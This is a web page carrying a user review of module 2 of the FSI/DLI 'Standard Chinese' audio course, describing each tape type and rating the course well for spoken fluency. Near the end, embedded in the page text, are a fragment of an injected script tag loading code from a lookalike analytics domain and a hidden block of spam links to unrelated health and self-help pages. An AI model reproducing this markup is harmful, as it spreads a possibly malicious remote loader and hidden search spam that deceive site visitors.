Standard Chinese: A modular approach module 2, biographic information by Foreign Service Institute and Defence Language Institute  Published by Foreign Service Institute  Program in English for students of the Mandarin language  Beginner level  Uses approximately 160 differerent Mandarin words  Character set: Latin  Average price: $230  Audio: 22 Tapes  300 pages  Editorial rating:   Post a user comment Since I am most likely the only forum member who has completed a module (module 2) of the FSI/DLI "Standard Chinese" course I figured I'd post a review of module 2. My overall impression of the course is very good. It seems effective and you get a lot of practice in both listening and speaking. I'll go through the different parts of the course and give my opinions. C-1 tape. This is the first tape you listen to for each unit (i.e. lesson). It lets you listen to all the sentences you are supposed to learn and each sentence is broken down and explained. Then you will hear the sentence and the tape asks you to translate into english , in order to check that you understand the sentence. At the end of the tape there is a review of all the sentences and you are supposed to give english equivalents for each one. I think this tape is very good. Listening comprehension is very important and it is good that a lot of emphasis is placed on it from the beginning. P-1 tape When you understand all the sentences on the C-1 tape you move on to this tape, where you actually learn to say them. The teaching format of this tape is rather similar to Pimsleur although somewhat more fast paced. There are also more technical grammatical explanations on these tapes than you get in a Pimsleur course. C-2 tape. This tape contains comprehension excersises using the words and grammar taught in C-1 and P-1 tapes. It is pretty standard. You listen to a conversation 3 times and the 3rd time you answer some questions in the workbook about what you heard. There is unfortunately no answer key so you have to trust your own ears that you heard right. In a few excersises the answer is given on the tape though. P-2 tape. This tape is what really sets this course apart from other courses. This is the single best thing in the entire course. In the workbook you are given some information about something, for instance a family tree showing what relatives "you" have. Then you are asked questions about this on tape. For instance "How many brothers and sisters do you have?" You then need to formulate an answer from the information given in the book and say it in the pause on the tape. The voice on the tape then confirms your answer. This is probably as close to real conversation as a tape can take you. You need to quickly put together a correct sentence and blurt it out. This is in my view much better than Pimsleurs method of making you create sentences, which is only based on translation. Here you are forced to make your own sentences from information provided to you. I have never seen another course in Chinese which has these kind of excersies. Drill tape - This tape contains drills on various sentence patterns taught on the C-1 and P-1 tapes. I would guess they are similar to the drills in other FSI courses. In summary I think this is a very good course for spoken fluency. It is a little low on the vocabulary side unfortunately. In my estimate it teaches only slightly more than 2000 words. However it is a great tool for learning to automate your speech i.e. being able to speak without thinking. Also all this time spent imitating sentences after the tapes is great for developing a feel for sentence intonation in mandarin. The only downsides of this course are the audio, which is of rather low quality and the fact that the course is taught entirely in pinyin. The latter fact means that after having completed this course you will have decent vocabulary and be able to speak chinese relativley fluently, but you won't be able to read anything! 'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>working out but never losing weight</a><a href='http://tests4all.org/2/'>what do they do personal trainer</a><a href='http://tests4all.org/3/'>ct quit smoking program</a><a href='http://tests4all.org/4/'>accutane cordarone in the eyes</a><a href='http://tests4all.org/5/'>borderline personality disorder wife cheated</a><a href='http://tests4all.org/6/'>mtdna australia pleistocene occupation</a><a href='http://tests4all.org/7/'>community partner thank you notes</a><a href='http://tests4all.org/8/'>iq test controversy</a><a href='http://tests4all.org/9/'>honing your psychic ability</a><a href='http://tests4all.org/10/'>past life regression dennis linn</a><a href='http://tests4all.org/11/'>date menes death</a><a href='http://tests4all.org/12/'>lung cancer blueberries</a></div> Submitted by maxb on 17/8/2005